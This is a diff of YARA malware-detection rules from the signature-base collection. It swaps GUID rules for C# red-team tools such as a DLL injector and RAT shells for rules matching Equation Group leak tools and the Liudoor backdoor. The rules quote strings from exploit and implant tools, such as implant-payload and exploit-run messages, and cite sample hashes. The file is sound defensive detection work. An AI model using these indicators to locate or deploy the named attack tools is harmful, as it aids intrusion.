+		logic_hash = "bc30c62da7a7fd9144efef6f44c50552234f372c38c4479a024fbb0ca72530de"
 		score = 75
-		quality = 60
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
+		hash2 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
 
 	strings:
-		$typelibguid0lo = "19657be4-51ca-4a85-8ab1-f6666008b1f3" ascii wide
-		$typelibguid0up = "19657BE4-51CA-4A85-8AB1-F6666008B1F3" ascii wide
-		$typelibguid1lo = "0a382d9a-897f-431a-81c2-a4e08392c587" ascii wide
-		$typelibguid1up = "0A382D9A-897F-431A-81C2-A4E08392C587" ascii wide
-		$typelibguid2lo = "467ee2a9-2f01-4a71-9647-2a2d9c31e608" ascii wide
-		$typelibguid2up = "467EE2A9-2F01-4A71-9647-2A2D9C31E608" ascii wide
-		$typelibguid3lo = "eacaa2b8-43e5-4888-826d-2f6902e16546" ascii wide
-		$typelibguid3up = "EACAA2B8-43E5-4888-826D-2F6902E16546" ascii wide
-		$typelibguid4lo = "629f86e6-44fe-4c9c-b043-1c9b64be6d5a" ascii wide
-		$typelibguid4up = "629F86E6-44FE-4C9C-B043-1C9B64BE6D5A" ascii wide
-		$typelibguid5lo = "ecf2ffe4-1744-4745-8693-5790d66bb1b8" ascii wide
-		$typelibguid5up = "ECF2FFE4-1744-4745-8693-5790D66BB1B8" ascii wide
-		$typelibguid6lo = "0a621f4c-8082-4c30-b131-ba2c98db0533" ascii wide
-		$typelibguid6up = "0A621F4C-8082-4C30-B131-BA2C98DB0533" ascii wide
-		$typelibguid7lo = "72019dfe-608e-4ab2-a8f1-66c95c425620" ascii wide
-		$typelibguid7up = "72019DFE-608E-4AB2-A8F1-66C95C425620" ascii wide
-		$typelibguid8lo = "f0d28809-b712-4380-9a59-407b7b2badd5" ascii wide
-		$typelibguid8up = "F0D28809-B712-4380-9A59-407B7B2BADD5" ascii wide
-		$typelibguid9lo = "956a5a4d-2007-4857-9259-51cd0fb5312a" ascii wide
-		$typelibguid9up = "956A5A4D-2007-4857-9259-51CD0FB5312A" ascii wide
-		$typelibguid10lo = "a3b7c697-4bb6-455d-9fda-4ab54ae4c8d2" ascii wide
-		$typelibguid10up = "A3B7C697-4BB6-455D-9FDA-4AB54AE4C8D2" ascii wide
-		$typelibguid11lo = "a5f883ce-1f96-4456-bb35-40229191420c" ascii wide
-		$typelibguid11up = "A5F883CE-1F96-4456-BB35-40229191420C" ascii wide
-		$typelibguid12lo = "28978103-d90d-4618-b22e-222727f40313" ascii wide
-		$typelibguid12up = "28978103-D90D-4618-B22E-222727F40313" ascii wide
-		$typelibguid13lo = "0c70c839-9565-4881-8ea1-408c1ebe38ce" ascii wide
-		$typelibguid13up = "0C70C839-9565-4881-8EA1-408C1EBE38CE" ascii wide
-		$typelibguid14lo = "fa1d9a36-415a-4855-8c01-54b6e9fc6965" ascii wide
-		$typelibguid14up = "FA1D9A36-415A-4855-8C01-54B6E9FC6965" ascii wide
-		$typelibguid15lo = "252676f8-8a19-4664-bfb8-5a947e48c32a" ascii wide
-		$typelibguid15up = "252676F8-8A19-4664-BFB8-5A947E48C32A" ascii wide
-		$typelibguid16lo = "447edefc-b429-42bc-b3bc-63a9af19dbd6" ascii wide
-		$typelibguid16up = "447EDEFC-B429-42BC-B3BC-63A9AF19DBD6" ascii wide
-		$typelibguid17lo = "04d0b3a6-eaab-413d-b9e2-512fa8ebd02f" ascii wide
-		$typelibguid17up = "04D0B3A6-EAAB-413D-B9E2-512FA8EBD02F" ascii wide
-		$typelibguid18lo = "5611236e-2557-45b8-be29-5d1f074d199e" ascii wide
-		$typelibguid18up = "5611236E-2557-45B8-BE29-5D1F074D199E" ascii wide
-		$typelibguid19lo = "53f622eb-0ca3-4e9b-9dc8-30c832df1c7b" ascii wide
-		$typelibguid19up = "53F622EB-0CA3-4E9B-9DC8-30C832DF1C7B" ascii wide
-		$typelibguid20lo = "414187db-5feb-43e5-a383-caa48b5395f1" ascii wide
-		$typelibguid20up = "414187DB-5FEB-43E5-A383-CAA48B5395F1" ascii wide
+		$x1 = "Probe #2 usage: %s -i TargetIp -p TargetPort -r %d [-o TimeOut] -t Protocol -n IMailUserName -a IMailPassword" fullword ascii
+		$x6 = "** RunExploit ** - EXCEPTION_EXECUTE_HANDLER : 0x%08X" fullword ascii
+		$s19 = "Sending Implant Payload.. cEncImplantPayload size(%d)" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Rat_Shell : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ELV_ESKE_ETBL_ETRE_EVFR_11 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8f206175-f7e4-5543-8059-24f102fcd4b9"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/stphivos/rat-shell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1775-L1791"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2383483678c2a4b2545484c28aa81c2933c75a6bfb24dcfd6c989be90a2aca76"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "d6848065-377b-5eda-821d-d2cc16f483cc"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3460-L3479"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8d43aa4823de248308597bd02cd27e598808b94e1ad7348ddb9e27d8a37ac426"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
+		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+		hash3 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
+		hash4 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
+		hash5 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
 
 	strings:
-		$typelibguid0lo = "7a15f8f6-6ce2-4ca4-919d-2056b70cc76a" ascii wide
-		$typelibguid0up = "7A15F8F6-6CE2-4CA4-919D-2056B70CC76A" ascii wide
-		$typelibguid1lo = "1659d65d-93a8-4bae-97d5-66d738fc6f6c" ascii wide
-		$typelibguid1up = "1659D65D-93A8-4BAE-97D5-66D738FC6F6C" ascii wide
+		$x1 = "Target is vulnerable" fullword ascii
+		$x2 = "Target is NOT vulnerable" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnet_Gargoyle : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ELV_ESKE_EVFR_Ridearea2_12 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "5efd0c83-cb65-5bda-b55e-4a89db5f337c"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/countercept/dotnet-gargoyle"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1793-L1811"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "29147b4e14f45757274ca1bc0d140323a908d663f580b00cc705bd9cf3072f56"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "63c7733c-9942-56f3-95cc-f3e72b693739"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3481-L3498"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0119cd825c02a094ddd76c5cb27bee6cef112f25333eab62017448804b29286e"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
+		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+		hash4 = "e702223ab42c54fff96f198611d0b2e8a1ceba40586d466ba9aadfa2fd34386e"
 
 	strings:
-		$typelibguid0lo = "76435f79-f8af-4d74-8df5-d598a551b895" ascii wide
-		$typelibguid0up = "76435F79-F8AF-4D74-8DF5-D598A551B895" ascii wide
-		$typelibguid1lo = "5a3fc840-5432-4925-b5bc-abc536429cb5" ascii wide
-		$typelibguid1up = "5A3FC840-5432-4925-B5BC-ABC536429CB5" ascii wide
-		$typelibguid2lo = "6f0bbb2a-e200-4d76-b8fa-f93c801ac220" ascii wide
-		$typelibguid2up = "6F0BBB2A-E200-4D76-B8FA-F93C801AC220" ascii wide
+		$x2 = "** CreatePayload ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <2000KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Aresskit : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ELV_ESKE_13 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8265cd84-c8e7-5654-9d3a-774dab52d938"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/BlackVikingPro/aresskit"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1813-L1827"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d0a1c7000c4018ba3c7405e310cfddea8795745216467dfb79379af521889cc6"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8bc3c47c-7357-5692-86aa-e43b40f8c1ab"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3500-L3516"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0a1859266b859d4da660a7fc7d0015954ff100c39b941b5461ba0c99b5103547"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
+		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
 
 	strings:
-		$typelibguid0lo = "8dca0e42-f767-411d-9704-ae0ba4a44ae8" ascii wide
-		$typelibguid0up = "8DCA0E42-F767-411D-9704-AE0BA4A44AE8" ascii wide
+		$x1 = "Skip call to PackageRideArea().  Payload has already been packaged. Options -x and -q ignored." fullword ascii
+		$s2 = "ERROR: pGvars->pIntRideAreaImplantPayload is NULL" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <600KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_DLL_Injector : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__Nameprobe_SMBTOUCH_14 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "301e70f4-89ed-539c-b7f3-9fc6ae1393b3"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/tmthrgd/DLL-Injector"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1829-L1845"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "45f63db2fbb807ecab8ebc91bc3ba781f145c60d8e84afd7ea07c57d5aa7bb41"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "b3b7037b-d08e-5b32-93ec-870f8ce088ac"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3518-L3535"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c60fc34aa42810a5622fbe53122ded4ffb4ee321fed1badd481ce5c2ae5225ef"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "fbe3a4501654438f502a93f51b298ff3abf4e4cad34ce4ec0fad5cb5c2071597"
+		hash2 = "7da350c964ea43c149a12ac3d2ce4675cedc079ddc10d1f7c464b16688305309"
 
 	strings:
-		$typelibguid0lo = "4581a449-7d20-4c59-8da2-7fd830f1fd5e" ascii wide
-		$typelibguid0up = "4581A449-7D20-4C59-8DA2-7FD830F1FD5E" ascii wide
-		$typelibguid1lo = "05f4b238-25ce-40dc-a890-d5bbb8642ee4" ascii wide
-		$typelibguid1up = "05F4B238-25CE-40DC-A890-D5BBB8642EE4" ascii wide
+		$s1 = "DEC Pathworks TCPIP service on Windows NT" fullword ascii
+		$s2 = "<\\\\__MSBROWSE__> G" fullword ascii
+		$s3 = "<IRISNAMESERVER>" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <300KB and all of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Trufflesnout : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ELV_ESKE_EVFR_RPC2_15 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "8135d39e-6a9e-567d-840f-8d8c6338cce1"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/dsnezhkov/TruffleSnout"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1847-L1861"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5c3a69776d1c1f2503b85e410eef83067e178c22e08dcefdecbe73040bf1d737"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "f671a10d-f0b8-5343-97b5-e60b7f2f0acf"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3537-L3555"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6c61d17e1a985deb31bd6e1d603283e77df477b52fce9eb8b6cb4e99b2f9c4dc"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
+		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
+		hash4 = "5c0896dbafc5d8cc19b1bc7924420b20ed5999ac5bee2cb5a91aada0ea01e337"
 
 	strings:
-		$typelibguid0lo = "33842d77-bce3-4ee8-9ee2-9769898bb429" ascii wide
-		$typelibguid0up = "33842D77-BCE3-4EE8-9EE2-9769898BB429" ascii wide
+		$x1 = "** SendAndReceive ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
+		$s8 = "Binding to RPC Interface %s over named pipe" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Anti_Analysis : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ELV_ESKE_EVFR_16 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "bd527841-065e-57e9-b70e-c9d232072f1b"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/Anti-Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1863-L1877"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "60d7b68aabc6819c8bbc3adfa069f624df4ba3fecd7548841a8cd2f4415fd1a7"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2749227b-13e2-5669-a557-567ebd170a2f"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3557-L3578"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3e6c4e013727bbbf3859374af46553067a9fc782f2eca582ea13d8eab03380ce"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "f7fad44560bc8cc04f03f1d30b6e1b4c5f049b9a8a45464f43359cbe4d1ce86f"
+		hash2 = "9d16d97a6c964e0658b6cd494b0bbf70674bf37578e2ff32c4779a7936e40556"
+		hash3 = "c5e119ff7b47333f415aea1d2a43cb6cb322f8518562cfb9b90399cac95ac674"
 
 	strings:
-		$typelibguid0lo = "3092c8df-e9e4-4b75-b78e-f81a0058a635" ascii wide
-		$typelibguid0up = "3092C8DF-E9E4-4B75-B78E-F81A0058A635" ascii wide
+		$x1 = "ERROR: TbMalloc() failed for encoded exploit payload" fullword ascii
+		$x2 = "** EncodeExploitPayload ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
+		$x4 = "** RunExploit ** - EXCEPTION_EXECUTE_HANDLER" fullword ascii
+		$s6 = "Sending Implant Payload (%d-bytes)" fullword ascii
+		$s7 = "ERROR: Encoder failed on exploit payload" fullword ascii
+		$s11 = "ERROR: VulnerableOS() != RET_SUCCESS" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <2000KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Backnet : FILE
+rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17__ETBL_ETRE_SMBTOUCH_17 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "91824d18-f46b-5b95-b650-4d710d711cf9"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/valsov/BackNet"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1879-L1899"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f1814ad6f6f96f9a9efc6d684c4e19203d84b191c0eef801c18f5b67787892bb"
+		description = "Detects EquationGroup Tool - April Leak"
+		author = "Florian Roth (Nextron Systems)"
+		id = "88bf610d-1c6e-554a-af82-46b5eb3cc6a5"
+		date = "2017-04-15"
+		modified = "2023-12-05"
+		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3580-L3597"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ef86350732b5064035ff58b63202be29e906d2b566af105f03298e3e339eda52"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		super_rule = 1
+		hash1 = "70db3ac2c1a10de6ce6b3e7a7890c37bffde006ea6d441f5de6d8329add4d2ef"
+		hash2 = "e0f05f26293e3231e4e32916ad8a6ee944af842410c194fce8a0d8ad2f5c54b2"
+		hash3 = "7da350c964ea43c149a12ac3d2ce4675cedc079ddc10d1f7c464b16688305309"
 
 	strings:
-		$typelibguid0lo = "9fdae122-cd1e-467d-a6fa-a98c26e76348" ascii wide
-		$typelibguid0up = "9FDAE122-CD1E-467D-A6FA-A98C26E76348" ascii wide
-		$typelibguid1lo = "243c279e-33a6-46a1-beab-2864cc7a499f" ascii wide
-		$typelibguid1up = "243C279E-33A6-46A1-BEAB-2864CC7A499F" ascii wide
-		$typelibguid2lo = "a7301384-7354-47fd-a4c5-65b74e0bbb46" ascii wide
-		$typelibguid2up = "A7301384-7354-47FD-A4C5-65B74E0BBB46" ascii wide
-		$typelibguid3lo = "982dc5b6-1123-428a-83dd-d212490c859f" ascii wide
-		$typelibguid3up = "982DC5B6-1123-428A-83DD-D212490C859F" ascii wide
+		$x1 = "ERROR: Connection terminated by Target (TCP Ack/Fin)" fullword ascii
+		$s2 = "Target did not respond within specified amount of time" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		( uint16(0)==0x5a4d and filesize <300KB and 1 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Allthethings : FILE
+rule SIGNATURE_BASE_Equationgroup_Scanner_Output : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "c35160cb-ad31-5195-a7c6-0af91a58737d"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/johnjohnsp1/AllTheThings"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1901-L1915"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "09836251d75327ef547451024ffed76de8cf41ce027fbf40db0cac44f74d46d5"
+		description = "Detects output generated by EQGRP scanner.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "a73bc98f-f7b1-5f16-bf23-1d5c9a7a371b"
+		date = "2017-04-17"
+		modified = "2023-12-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp_apr17.yar#L3609-L3626"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a8ac7e7f14d72798a1f6658eae4c66d871a525c8cb49afa2ca8656047da20524"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$typelibguid0lo = "0547ff40-5255-42a2-beb7-2ff0dbf7d3ba" ascii wide
-		$typelibguid0up = "0547FF40-5255-42A2-BEB7-2FF0DBF7D3BA" ascii wide
+		$s0 = "# scanning ip  " ascii
+		$s1 = "# Scan for windows boxes" ascii fullword
+		$s2 = "Going into send" ascii fullword
+		$s3 = "# Does not work" ascii fullword
+		$s4 = "You are the weakest link, goodbye" ascii fullword
+		$s5 = "rpc   Scan for RPC  folks" ascii fullword
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <1000KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_HKTL_NET_GUID_Addreferencedotredteam : FILE
+rule SIGNATURE_BASE_APT_Liudoor : WIN32_DLL
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "59299a72-9b7a-5108-81c2-d8f6d2e99b20"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/ceramicskate0/AddReferenceDotRedTeam"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L1917-L1931"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "34717e4864a7dc5c21525be09fcfe87da6b18e56b1956e5a34b0a669d8d6ab45"
+		description = "Detects Liudoor daemon backdoor"
+		author = "RSA FirstWatch"
+		id = "cf7e08b8-2ccd-5828-917b-11340b4a86b1"
+		date = "2015-07-23"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_terracotta_liudoor.yar#L1-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6f60002d0173a8ebd2b407e79377d4816e699742aedb1e0649b08fd4ca6cf359"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "WIN32 DLL"
+		hash0 = "78b56bc3edbee3a425c96738760ee406"
+		hash1 = "5aa0510f6f1b0e48f0303b9a4bfc641e"
+		hash2 = "531d30c8ee27d62e6fbe855299d0e7de"
+		hash3 = "2be2ac65fd97ccc97027184f0310f2f3"
+		hash4 = "6093505c7f7ec25b1934d3657649ef07"
+		type = "Win32 DLL"
 
 	strings:
-		$typelibguid0lo = "73c79d7e-17d4-46c9-be5a-ecef65b924e4" ascii wide
-		$typelibguid0up = "73C79D7E-17D4-46C9-BE5A-ECEF65B924E4" ascii wide
+		$string0 = "Succ"
+		$string1 = "Fail"
+		$string2 = "pass"
+		$string3 = "exit"
+		$string4 = "svchostdllserver.dll"
+		$string5 = "L$,PQR"
+		$string6 = "0/0B0H0Q0W0k0"
+		$string7 = "QSUVWh"
+		$string8 = "Ht Hu["
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		all of them
 }
 import "pe"
 
